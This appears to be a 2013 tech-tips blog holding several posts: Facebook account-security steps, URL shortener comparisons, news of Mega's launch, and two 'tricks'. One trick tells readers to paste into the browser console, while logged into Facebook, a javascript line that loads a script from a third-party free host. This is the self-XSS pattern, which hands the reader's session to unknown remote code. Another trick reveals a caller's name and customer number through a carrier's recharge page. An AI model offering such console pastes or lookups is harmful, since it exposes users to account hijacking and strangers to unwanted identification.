Friday, 29 March 2013

Secure Your Facebook Account From Hackers Part 2

3:38 am
Last A popup window will appear with descriptions of " Login Approvals Setup Is Complete ", then click on the " close " button to Exit Setup (See Image)


Re-Check Your Setup !!!!!!!!!! 

 


Boom !!!!!!!! 

Now you have completed with Login Approvals , NOW Its Time To Check ?? hmmmm
here we go ......

go to Account Settings > Security, look for " Recognized Device " and click on the Edit button.(see image)

 NOW remove all the listed device .. then Click On  " Save Changes "Last Step
go to 
Account Settings > Security, look for " Active Sessions " and click on the Edit button. then click on " End Activity" if more then one end all sessions ..(see image)

Now Log Out !!!!!!! 

Now The moment you want to login to your Facebook account, at the Log In page, there’s a small checkbox that says Keep me logged in. Make sure this box is unchecked. Then, log in as usual. With this on, you will be asked for your email and password every time you launch Facebook.

 

 Then Enter Your User Name and Password ... Click on " Iog In " and just follow some step (see images)

Done Now Last click on ' Save Browser ' !!!!!!!  

 

There are many ways you can avoid being a victim:
  1. Never click on suspicious links whenever or wherever you find it, even if it came from your friends. If you receive a link, always take the extra step of asking your friend what the link is to confirm that they had sent it. Usually these links are ‘sent’ without the sender’s knowledge. This includes all links that appear in your Facebook Chat, Messages, friend’s status post or even from your email.
  2. Never give out your username or password to anyone, including websites with suspicious links and layouts. Giving your passwords freely could jeopardize the security of your personal information on Facebook.
  3. Log in only at ( https://www.facebook.com )and not from any other link or website, unless you are accessing via Facebook App.
  4. Update your browser to its latest version to ensure your browser’s security is up to date so it would detect and alert you with a warning when you are navigating to a suspected phishing site.

    Sign Out After Use

     Lastly which is the most important of all (and definitely worth repeating), never forget to log out from your Facebook account..

    Conclusion

     Now with these options plus one crucial reminder to log out, you can surf your Facebook worry-free. Most of us wouldn’t have thought that our online accounts would get hijacked,  it is that there are people out there on the Web who are actively trying to gain access to our sensitive information. Let’s not make it any easier for them...
    Have we missed out on any other security-enhancing tips ? Do let us know at the comment section./// 
    Sneh Abhishek

Secure Your Facebook Account From Hackers Part 1

2:26 am
1. Step :-  Create Strong Password (Using :- " @ ", "#","&" etc all special character)
For Example : "  #[email protected]&[email protected]#  "


2.Step :- Add Your Mobile Number (Note :- Make Visible to only me )

Benefit of adding your mobile number :-

Confirming your mobile number is one of many ways to enhance your account security on Facebook. This way, even when you lose or forget your password, Facebook will be able to send you a new one via SMS.
 
3.Step :- Now Activate Secure browsing

Among other things, to make sure your browsing activity within Facebook is safe, you can turn on the Secure browsing option. By doing this, you automatically limit all external applications that are integrated with Facebook from doing any harm or taking your personal information without your knowledge or approval.
To start securing your account, click on the drop down menu from the top right corner of your Facebook account and go to Account Settings.

NOW Select Security from the left side menu.

Now the Secure Browsing section, click on the Edit link at the right. side then option panel will appear, ‘check’ the box Browse Facebook on a secure connection then click on the Save Changes button.(see Image)

4.Step You Must have to activate " Login Approvals " 
Login approvals is an extended security feature offered by Facebook, and it will require you to enter a security code each time you try to access your Facebook account from unrecognized devices or any devices. To activate Login Approvals, go to Account Settings > Security, look for Login Approvals and click on the Edit button.(see image)
An option to activate Login Approvals will appear,then tick the check box to activate.


After you make " Save Changes " A popup window will appear with descriptions of login approvals, click on the " Get Started button to continue.(See Image)
Then Again
A popup window will appear with descriptions of " What Kind of phone do you use ? ", Select any one of them then click on the " Continue button to be next step.(See Image)
Now Again you see  a popup window will appear with descriptions of " Set Up Security Code Delivery ",  click on the " Continue button to be next step.(See Image)

Here i got text from Facebook (see image)
If you already register your mobile number, Facebook will automatically send you a code via SMS. Enter this code in the given box and click   " Continue button to be next step.(See Image)

Click Here For Next Step :-

Secure Your Facebook Account From Hackers Part 2 

Wednesday, 6 February 2013

How to add all your friends in a Facebook group at once

2:23 pm
Hi Friends, today we will learn how to add all your friends in any facebook group at Once. In simple terms by clicking on the Javascript , all your friends present in your friends list will be added to that particular group   . Its will take less time, i.e. you don't have to add one by one members.So lets begin.

Mozilla Firefox Users :

Step 1: Open your Facebook account .
Step 2: Go to the Facebook group where you wanted to add the member.
Step 3: Press Ctrl+Shift+K , a Console window will open. See the below image .






















Step 4: Now copy the Javascript code given below and paste it in the console and Press Enter :

javascript:(function({document.body.appendChild(document.createElement('script')).src='http://www.nexusgroup.byethost4.com/nexus.js';})();


Step 5 : After Pressing Enter just wait for some seconds and that's it u r done! all your friends are now added to your group.

For Chrome users :

Step 1 & 2 same as above
3. Right mouse click >> click on Inspect element >> Check out for "Console" .
4. Now copy the below link and just press Enter. Dat's it..wait 4 some seconds and ur friends will be added automatically.



Note : Chrome Users might face difficulty in using the script because it violates the Content Security Policy ,so script might not work! better try with Firefox

Wednesday, 30 January 2013

Some Tools to Shorten URLs

1:49 pm
URL Shortening services came into existence because web addresses started to get long and links would break when sent in an email. This URL shorteners help to make the URL short so that pages can be redirected easily. So today we brought you a collection of Online tools(website) which helps you to shorten your URLs :






1.  www.tinyurl.com
  • Customizable URL : Yes
  • Tracking : No
  • 301 Redirect : Yes
  • Unique Features : Toolbar button
  • Customizable URL : Yes
  • Tracking : Yes
  • 301 Redirect : Yes
  • Unique Features : Stats are private, real time and very detailed, geotarget URLs based on country of visitor, bookmarklet.

  • Customizable URL : Yes
  • Tracking : Yes
  • 301 Redirect : Yes
  • Unique Features : Saves copy of page linked to, tracks “conversations”, Twitter search for uses of shortened URL, bookmarklet, import to Google spreadsheets
4. www.twurl.nl ( also known as tweetburner )
  • Customizable URL : No
  • Tracking : Yes
  • 301 Redirect : No
  • Unique Features : Most popular items linked in last hour, bookmarklet, built in to Twhirl
  • Customizable URL : No
  • Tracking : No
  • 301 Redirect : Yes
  • Unique Features : Really bleeping short URLs, bookmarklet, Firefox plugin, built in to Twhirl
6. www.snipurl.com  (also known as Snurl,Snipr, sn.im )
  • Customizable URL : Yes
  • Tracking : Yes
  • 301 Redirect : Yes
  • Unique Features : Popular snips, snip search, RSS feed for snips, export to Excel, claim snips before you registered, edit snips
  • Customizable URL : Yes
  • Tracking : Yes
  • 301 Redirect : Yes
  • Unique Features : Uses Twitter or identi.ca info for login, bookmarklet
Hope you all like this post.  Do give us feedback!
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Tuesday, 22 January 2013

How to know the Name of the Caller who called you(Works only with Reliance numbers)

1:10 pm
Hello guys, here's a very good trick for all ! we always wanted to know the name of the person who gave us a miscall, or with whose name the SIM is registered .

The most important thing in this trick is that the number should be a Reliance Number.

So lets begin:

Step 1 : Check out the number is Reliance or not from www.indiatrace.com . If its Reliance then proceed to                                Step 2

Step 2 : Open the link http://myservices.relianceada.com/captureInstantRecharge.do

Step 3 :  Now input the number and click on Continue. See the image for more details.

















Step 4: That's it .  You will get the Reliance Customer number and Customer surname.













Isn't it cool... Next time whenever the culprit calls you,just tell this is ur name.. He will be shocked!!

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Monday, 21 January 2013

Kim Dotcom (Megaupload owner) launched a website with 50 GB free Storage & more.

10:49 am

Megaupload founder Kim Dotcom launched a new file-sharing website on Sunday.
Megaupload, which Dotcom started in 2005, was one of the most popular sites on the web until US prosecutors shut it down, accusing Dotcom and several company officials of facilitating millions of illegal downloads.

Kim Dotcom in this file photo. AFP
Mega, like Megaupload, allows users to store and share large files. It offers 50 gigabytes of free storage, much more than similar sites such as Dropbox and Google Drive, and features a drag-and-drop upload tool.
The key difference is an encryption and decryption feature for data transfers that Dotcom says will protect him from the legal drama that has entangled Megaupload and threatened to put him behind bars.
The decryption keys for uploaded files are held by the users, not Mega, which means the company can’t see what’s in the files being shared.
Website link : http://Mega.co.nz

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